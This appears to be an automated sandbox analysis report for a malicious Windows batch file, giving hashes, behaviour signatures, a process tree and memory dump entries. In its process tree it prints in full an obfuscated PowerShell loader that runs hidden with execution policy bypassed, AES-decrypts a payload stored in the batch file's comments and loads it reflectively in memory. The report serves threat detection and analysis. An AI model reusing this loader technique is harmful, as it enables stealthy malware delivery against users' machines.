36682e454c21cf545e611f5b5de9115c164433a75b4b20e10e31c37e785c2a14

Analysis

max time kernel
27s
max time network
30s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
18/05/2023, 05:40

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General

Target

test_bat_c/e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20.bat
Size

10.3MB
MD5

db149b83156f710e18e2233db671dc56
SHA1

ab3a8d2ec8edffb4ac434f11d4af01de8605f558
SHA256

e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20
SHA512

21b8d53854978077ea362c75fa0ceebab864a63c62d1b4cf65fcd5d9c74db23144f824957d877825e247fae786183a672e458a7b623364a9df85df34c4c424bf
SSDEEP

49152:NgsDwfz/8H9hPHoep7Qf0f1on7wl/Y/I+3CEwYwmFK4ulynWtDWxTQP4zCrpaeNB:/

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
1736	e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1992	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1736	e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1736	e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 1736	1992	cmd.exe	28
PID 1992 wrote to memory of 1736	1992	cmd.exe	28
PID 1992 wrote to memory of 1736	1992	cmd.exe	28

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\test_bat_c\e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Users\Admin\AppData\Local\Temp\test_bat_c\e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20.bat.exe
  "e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $vPAum = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\test_bat_c\e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20.bat').Split([Environment]::NewLine);foreach ($GNRXd in $vPAum) { if ($GNRXd.StartsWith(':: ')) { $HoqqF = $GNRXd.Substring(3); break; }; };$aXtjp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HoqqF);$eJMUB = New-Object System.Security.Cryptography.AesManaged;$eJMUB.Mode = [System.Security.Cryptography.CipherMode]::CBC;$eJMUB.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$eJMUB.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vKPdCLKA1OHR7DayB6fie0GdrNgcQ/q24hCzTg7sI4k=');$eJMUB.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pBAW8NcatCLMZyUq6P32MA==');$ySthJ = $eJMUB.CreateDecryptor();$aXtjp = $ySthJ.TransformFinalBlock($aXtjp, 0, $aXtjp.Length);$ySthJ.Dispose();$eJMUB.Dispose();$uNTLJ = New-Object System.IO.MemoryStream(, $aXtjp);$qowuZ = New-Object System.IO.MemoryStream;$aCWmn = New-Object System.IO.Compression.GZipStream($uNTLJ, [IO.Compression.CompressionMode]::Decompress);$aCWmn.CopyTo($qowuZ);$aCWmn.Dispose();$uNTLJ.Dispose();$qowuZ.Dispose();$aXtjp = $qowuZ.ToArray();$uCJaH = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($aXtjp);$rGRlU = $uCJaH.EntryPoint;$rGRlU.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\test_bat_c\e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

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\Users\Admin\AppData\Local\Temp\test_bat_c\e8057880d925de1696612198fce75da7cb732e08c6c4756547484d46e25d9f20.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

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memory/1736-59-0x000000001AF40000-0x000000001B222000-memory.dmp

Filesize
2.9MB

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memory/1736-60-0x0000000001C00000-0x0000000001C08000-memory.dmp

Filesize
32KB

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memory/1736-61-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

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memory/1736-62-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

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memory/1736-63-0x0000000002660000-0x00000000026E0000-memory.dmp

Filesize
512KB

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memory/1736-64-0x000000000266B000-0x00000000026A2000-memory.dmp

Filesize
220KB

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